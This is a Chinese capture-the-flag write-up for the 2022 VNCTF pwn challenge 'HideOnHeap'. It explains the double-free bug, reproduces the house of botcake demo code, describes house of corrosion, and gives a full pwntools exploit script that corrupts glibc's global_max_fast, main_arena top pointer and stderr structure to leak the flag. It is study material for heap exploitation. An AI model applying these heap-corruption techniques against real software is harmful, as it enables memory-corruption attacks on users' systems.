2022 vnctf HideOnHeap

编程入门 行业动态 更新时间:2024-10-24 21:22:06

2022 <a href=https://www.elefans.com/category/jswz/34/1297241.html style=vnctf HideOnHeap"/>

2022 vnctf HideOnHeap

更多的是跟着官方的wp做一个详细的学习。

全开


上来直接把flag读到了第一个chunk中

add

bss的数组上能写堆地址跟堆块
堆块数量大小都有所限制

edit

正常edit

delete

显然是有double free
但是把size数组清空了。

前面的edit就根据size来,size清空之后我们显然就没了什么办法。

这里就要介绍第一个工具
house of botcake

这是完整版damo

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>int main()
{/** This attack should bypass the restriction introduced in* /?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d* If the libc does not include the restriction, you can simply double free the victim and do a* simple tcache poisoning* And thanks to @anton00b and @subwire for the weird name of this technique */// disable buffering so _IO_FILE does not interfere with our heapsetbuf(stdin, NULL);setbuf(stdout, NULL);// introductionputs("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");puts("returning a pointer to an arbitrary location (in this demo, the stack).");puts("This attack only relies on double free.\n");// prepare the targetintptr_t stack_var[4];puts("The address we want malloc() to return, namely,");printf("the target address is %p.\n\n", stack_var);// prepare heap layoutputs("Preparing heap layout");puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");intptr_t *x[7];for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){x[i] = malloc(0x100);}puts("Allocating a chunk for later consolidation");intptr_t *prev = malloc(0x100);puts("Allocating the victim chunk.");intptr_t *a = malloc(0x100);printf("malloc(0x100): a=%p.\n", a); puts("Allocating a padding to prevent consolidation.\n");malloc(0x10);// cause chunk overlappingputs("Now we are able to cause chunk overlapping");puts("Step 1: fill up tcache list");for(int i=0; i<7; i++){free(x[i]);}puts("Step 2: free the victim chunk so it will be added to unsorted bin");free(a);puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");free(prev);puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");malloc(0x100);/*VULNERABILITY*/free(a);// a is already freed/*VULNERABILITY*/// simple tcache poisoningputs("Launch tcache poisoning");puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");intptr_t *b = malloc(0x120);puts("We simply overwrite victim's fwd pointer");b[0x120/8-2] = (long)stack_var;// take target outputs("Now we can cash out the target chunk.");malloc(0x100);intptr_t *c = malloc(0x100);printf("The new chunk is at %p\n", c);// sanity checkassert(c==stack_var);printf("Got control on target/stack!\n\n");// noteputs("Note:");puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");return 0;
}

它的作用可以把double free转换成uaf,更便于利用。
其实看起来还不是很直观,我们直接跟着动调一遍。

用的libc是libc-2.27.so

首先上来申请了10个chunk

我们假设他们是chunk1-10

第一步就是把tcache填满,把chunk1-7free掉

第二步
chunk9也被我们释放,将它扔进了unsorted bin, chunk9也是我们的victim chunk。所以chunk10的作用就是防止堆块合并而已。

第三步
把chunk8也释放掉,让他与chunk9合并。

第四步
malloc一下让tcache少一个

然后利用double free,让我们的chunk9也就是victim chunk double free一下。

第五步
申请一个大一些的chunk,在这里是0x120
它会去unsorted bin里面去申请chunk8 跟chunk9的结合体
但是chunk9又被放进了tcache
我们申请回来这个0x120的这个chunk之后就可以往tcache中投毒了。

下面这个是上面程序的简化版。

char *x[7];for(int i=0; i<7; i++){x[i] = malloc(0x100);
}char *a = malloc(0x100);
char *b = malloc(0x100);malloc(0x10);for(int i=0; i<7; i++){free(x[i]);
}  free(b);
free(a);malloc(0x100);free(b);  char* res = malloc(0x130);*(uint64_t*)(res+0x110) = (uint64_t)(&victim);malloc(0x100);char *target = malloc(0x100);

紧接着呢
还要学习一个姿势
house of corrosion
说白了就是系统的说了一下当我们能控制global_fast_max的时候我们如何合理的去利用它。


上来先申请了18个chunk
其中一半大小0x88, 一半0x3f0

chunk2和chunk13进行了布置

然后利用前面的九个0x90大小的chunk走了一下我们上面提到的house of botcake

但是这次的victim chunk变成了chunk 0 , chunk 1.
也就是释放了chunk1 0 然后申请了chunk0 ,让tcache有个位置之后double free chunk1.

接着为了后面的利用,这里不直接进行利用
而是选择这里把tcache清空掉。
然后申请一个比较大的chunk,这里进行overlap。

那么现在chunk0没啥事
chunk1是被overlap的chunk
chunk2-7没事
chunk8是大一些的将chunk1overlap的chunk

然后释放了chunk11-17
也就是那7个比较大的chunk

紧接着还是house of botcake的手法
但是最后没有选择去overlap
而是选择了让chunk18等于chunk10

然后同个两个循环
循环的每次首先释放掉有问题的chunk,然后通过覆写的手段,使其能不停的释放
躲开libc2.28及以上的指针检测

再次将chunk 1 chunk10释放
他们就会进入unsorted bin
然后tcache里面就会直接有地址

然后将已经进入unsorted bin 的两个chunk分别瓜分掉
就是申请四个chunk再把他们申请回来

add(0x58) #1
add(0x18) #10
add(0x3D8) #19
add(0x18) #20

然后就直接去攻击global_max_fast跟stderr

首先把global_max_fast改大以后
利用那个覆写,直接改变chunk大小,进行free
就把chunk的值写在了相应位置
为什么要用这种手法
因为这个时候是不能再去申请很大chunk的,如果对应的地方有值,那就会报错

那么free的时候因为会检测下一个chunk,来看这个chunk是否合法。
所以我们刚开始提前edit了一下
这里就派上了用场

直接用house of corrosion把堆地址写在了_IO_2_1_stderr结构体里面了

然后再次攻击这个地方

那这个地方是干嘛的呢

我们把源码掏出来

struct malloc_state
{/* Serialize access.  */mutex_t mutex;/* Flags (formerly in max_fast).  */int flags;/* Fastbins */mfastbinptr fastbinsY[NFASTBINS];/* Base of the topmost chunk -- not otherwise kept in a bin */mchunkptr top;/* The remainder from the most recent split of a small request */mchunkptr last_remainder;/* Normal bins packed as described above */mchunkptr bins[NBINS * 2 - 2];/* Bitmap of bins */unsigned int binmap[BINMAPSIZE];/* Linked list */struct malloc_state *next;/* Linked list for free arenas.  Access to this field is serializedby free_list_lock in arena.c.  */struct malloc_state *next_free;/* Number of threads attached to this arena.  0 if the arena is onthe free list.  Access to this field is serialized byfree_list_lock in arena.c.  */INTERNAL_SIZE_T attached_threads;/* Memory allocated from the system in this arena.  */INTERNAL_SIZE_T system_mem;INTERNAL_SIZE_T max_system_mem;
};

发现是topchunk的指针

然后攻击stderr
再把global_max_fast改回来

改global_max_fast的作用是方便一会报错。


攻击stderr的效果就是heap的base是write的base
导致报错的时候输出从heap的base开始

最后就能把我们的flag输出来。


当然我们的做法还可以进一步优化一下
因为最后攻击strerr的时候还面临着1/16的爆破
我们可以通过对堆块适当的调整来解决这个问题。

exp是对官方的exp做了小小的调整

# encoding: utf-8
from pwn import *context.log_level = "debug"sh = process("./HideOnHeap")def choice(idx):sh.sendlineafter("Choice:", str(idx))def add(size):choice(1)sh.sendlineafter("Size:", str(size))def edit(idx, content):choice(2)sh.sendlineafter("Index:", str(idx))sh.sendafter("Content:", str(content))def delete(idx):choice(3)sh.sendlineafter("Index:", str(idx))add(0x88) # prev 0
add(0x88) # 1for i in range(7):add(0x88) #2 - 8add(0x3F0) # 9
add(0x3F0) # 10for i in range(7):add(0x3F0) #11 - 17edit(2, '6' * 0x20 + '\x00' * 8 + p64(0x21))
edit(13, '5' * 0x30 + '\x00' * 8 + p64(0x21) + '\x00' * 0x8 + p64(0x21) + '\x00' *0x8 + p64(0x21))for i in range(2, 9):delete(i)delete(1)
delete(0)
add(0x88) #0
delete(1)for i in range(7):add(0x88) #1 - 7add(0x118) #8 overlapping 1for i in range(11, 18):delete(i)delete(10)
delete(9)
add(0x3F0) #9
delete(10)for i in range(7):add(0x3F0) #10-16add(0x3F0) #17
add(0x3F0) #18 == 10for i in range(7):delete(1)edit(8, '\x00' * 0x88 + p64(0x91) + '\x00' * 0x10)for i in range(7):delete(10)edit(18, '\x00' * 0x10)delete(1)
delete(10)add(0x58) #1
add(0x18) #10
add(0x3D8) #19
add(0x18) #20edit(8, '\x00' * 0x88 + p64(0x91) + '\x40\xa9')
edit(18, '\x80\x96')gdb.attach(sh, "p/x &global_max_fast\np/x &_IO_2_1_stderr_\n")add(0x88) # 21  = 1
add(0x88) # 22 global_max_fastadd(0x3F0) # 23  = 10
add(0x3F0) # 24 stderredit(22, '\xFF' * 8) # change global_max_fastedit(8, '\x00' * 0x88 + p64(0x14C1))
delete(21)
edit(8, '\x00' * 0x88 + p64(0x14D1))
delete(21)
edit(8, '\x00' * 0x88 + p64(0x14E1))
delete(21)
#change main_arena->topfor i in range(8):edit(8, '\x00' * 0x88 + p64(0xC1) + '\x00' * 0x10)delete(21)edit(24, p64(0xfbad1800) + '\x00' * 0x19 + '\xf0')
edit(22, p64(0x80))
#gdb.attach(sh)add(0x300)sh.interactive()

更多推荐

2022 vnctf HideOnHeap

本文发布于:2024-03-09 15:22:36,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1725361.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:vnctf   HideOnHeap

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!